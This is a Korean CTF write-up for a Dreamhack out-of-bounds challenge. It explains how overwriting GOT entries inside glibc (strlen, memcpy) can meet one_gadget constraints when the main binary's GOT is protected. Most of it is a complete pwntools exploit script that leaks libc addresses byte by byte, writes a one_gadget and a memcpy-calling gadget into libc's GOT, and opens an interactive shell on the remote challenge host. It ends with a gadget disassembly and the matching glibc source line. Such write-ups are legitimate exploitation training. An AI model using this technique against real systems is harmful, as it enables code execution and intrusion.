one_gadget requirement fulfill - glibc got overwrite

드림핵 풀이중 아름다운것이 있어서 서술한다. ( keyme 님 )

일단 핵심개념은 glibc got overwrite를 사용해서 one_gadget의 조건을 만족시키는 방법이다.

주로 메인 바이너리의 got overwrite가 막혔을때 사용할 수 있을 것 같다.

C
from pwn import *
import warnings

warnings.filterwarnings('ignore')

#context.log_level = 'DEBUG'

IP = "host3.dreamhack.games"
PORT = 9634
p = remote(IP, PORT)
#p = process('./oob', env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')

def read(offset):
    global stdout
    p.sendlineafter('> ', str(1))
    p.sendlineafter('offset: ', str(offset))

def write(offset, data):
    p.sendlineafter('> ', str(2))
    p.sendlineafter('offset: ', str(offset))
    p.sendlineafter('value: ', str(data))

# Leak libc
stdout = b''
read(0x10)
stdout += p.recv(1)
read(0x10+0x1)
stdout += p.recv(1)
read(0x10+0x2)
stdout += p.recv(1)
read(0x10+0x3)
stdout += p.recv(1)
read(0x10+0x4)
stdout += p.recv(1)
read(0x10+0x5)
stdout += p.recv(1)
read(0x10+0x6)
stdout += p.recv(1)
read(0x10+0x7)
stdout += p.recv(1)
stdout = u64(stdout)
log.info('stdout: '+hex(stdout))
libc_base = stdout - 0x21a780
log.info('libc_base: '+hex(libc_base))
strlen = libc_base + 0x219098
log.info('strlen: '+hex(strlen))
prev_memcpy = libc_base + 0x2CDC4
log.info('prev_memcpy: '+hex(prev_memcpy))
memcpy = libc_base + 0x219160
log.info('memcpy: '+hex(memcpy))
oneshot = libc_base + 0xebcf8
log.info('oneshot: '+hex(oneshot))

# Leak oob
oob = b''
read(-0x8)
oob += p.recv(1)
read(-0x8+0x1)
oob += p.recv(1)
read(-0x8+0x2)
oob += p.recv(1)
read(-0x8+0x3)
oob += p.recv(1)
read(-0x8+0x4)
oob += p.recv(1)
read(-0x8+0x5)
oob += p.recv(1)
read(-0x8+0x6)
oob += p.recv(1)
read(-0x8+0x7)
oob += p.recv(1)
oob = u64(oob)+0x8
log.info('oob: '+hex(oob))

'''
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
## strlen got in libc -> "rsi == null, rdx == null" and "call memcpy" gadget in libc -> memcpy got in libc -> oneshot
write(memcpy-oob, oneshot)
write(strlen-oob, prev_memcpy)

p.interactive()

공격은 다음과 같으며, puts 내부에서 strlen을 자체적으로 호출하기에 strlen got를 overwrite 함으로써 control flow를 조작하는 것이 핵심이다. 즉, puts같은 함수가 일반적으로 메인 바이너리에 있기에 특별한 추가행동 없이도 control flow를 뺏어 올 수 있다.

공격에 사용한 glibc 가젯은

pwndbg> x/10i 0x2CDC4 0x2cdc4: lea 0x10(%r8),%rdi 0x2cdc8: mov %rbx,%rsi 0x2cdcb: mov %r8,0x8(%rsp) 0x2cdd0: sub %rbx,%rbp 0x2cdd3: call 0x28620 <

ABS

+0xa9c90@plt> glibc의 iconv/gconv_conf.c 파일의

new_alias->fromname = memcpy ((char *) new_alias + sizeof (struct gconv_alias),     from, wp - from);

부분